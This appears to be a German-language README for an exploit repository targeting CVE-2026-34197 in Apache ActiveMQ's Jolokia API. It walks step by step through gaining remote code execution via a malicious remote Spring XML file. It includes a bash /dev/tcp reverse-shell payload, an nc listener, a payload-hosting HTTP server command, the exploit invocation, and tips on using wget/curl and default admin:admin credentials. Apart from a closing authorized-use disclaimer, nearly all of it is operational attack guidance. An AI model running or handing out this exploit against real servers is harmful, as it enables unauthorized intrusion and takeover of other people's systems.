
Exploit-Skript für CVE-2026-34197, das die Jolokia-API von Apache ActiveMQ angreift, um über eine bösartige Spring-XML-Konfiguration Remote-Code-Ausführung zu erreichen, mit Reverse-Shell-Fähigkeit.
Dieses Repository bietet eine Umgebung zur Reproduktion und ein Exploit-Skript für eine Remote Code Execution (RCE)-Schwachstelle, die auf der exponierten Jolokia-API-Schnittstelle (/api/jolokia/) von Apache ActiveMQ basiert.
Durch den Aufruf der addNetworkConnector-Operation wird ActiveMQ gezwungen, eine bösartig konstruierte Remote-Spring-XML-Konfigurationsdatei zu parsen, wodurch über MethodInvokingFactoryBean Systembefehle ausgeführt werden.
payload.py: Haupt-Exploit-Skript, das HTTP-POST-Anfragen mit dynamischem Broker-Namen sendet.payload.xml: Bösartige Spring-Bean-Konfigurationsdatei, die eine Reverse-Shell-Befehlsnutzlast enthält.pip install requests
apache/activemq-classic:6.1.0 Docker-Image).payload.xml)Öffnen Sie payload.xml auf der Angreifer-Maschine und finden Sie den folgenden Abschnitt:
<value>bash -c 'bash -i >& /dev/tcp/Ihre-Cloud-Server-IP/15000 0>&1'</value>
Ersetzen Sie die IP durch die öffentliche IP Ihres Cloud-Servers. Wenn in der Zielumgebung kein bash vorhanden ist, ändern Sie es je nach Zielumgebung in sh oder eine andere Ausführungsmethode.
Öffnen Sie auf der Angreifer-Maschine (Cloud-Server) ein Terminal und lauschen Sie auf dem angegebenen Port (z. B. 15000):
nc -lvvp 15000
Hinweis: Stellen Sie sicher, dass die Sicherheitsgruppe/Firewall des Cloud-Servers eingehenden TCP-Port 15000 freigegeben hat.
Starten Sie auf der Angreifer-Maschine (im selben Verzeichnis wie payload.xml) einen HTTP-Server, damit das Ziel die XML-Datei herunterladen kann:
python3 -m http.server 9000
Hinweis: Stellen Sie ebenfalls sicher, dass die Sicherheitsgruppe/Firewall des Cloud-Servers eingehenden TCP-Port 9000 freigegeben hat.
Führen Sie payload.py auf dem lokalen Rechner (oder der Angreifer-Maschine) aus.
Das Skript unterstützt die Übergabe der Ziel-ActiveMQ-IP:Port (-t) und der IP:Port der Angreifer-Maschine, die die XML-Datei hostet (-a), über Befehlszeilenargumente.
python payload.py -t 192.168.0.1:8161 -a 8.8.8.8:9000
Nach der Ausführung generiert das Skript automatisch einen zufälligen brokerName (z. B. rce_a1b2c3), um das Namenskonfliktproblem java.io.IOException : Network Connector could not be registered in JMX vollständig zu lösen.
Wenn der Exploit erfolgreich ist:
python3 -m http.server 9000) zeigt eine GET 200-Anfrage für /payload.xml an.nc-Listener empfängt eine Reverse-Shell-Verbindung von der Zielmaschine./bin/bash-Befehl vorhanden (häufig bei schlanken Basis-Images wie Alpine). Ändern Sie den Ausführungsbefehl in payload.xml in /bin/sh oder laden Sie ein Skript über wget/curl herunter und führen Sie es aus.admin:admin) zur Anfrage hinzufügen.Dieses Skript und die Anleitung dienen ausschließlich autorisierten Sicherheitstests und Bildungszwecken. Die Verwendung für unbefugte illegale Tests ist strengstens untersagt. Der Benutzer ist für sein eigenes Handeln verantwortlich.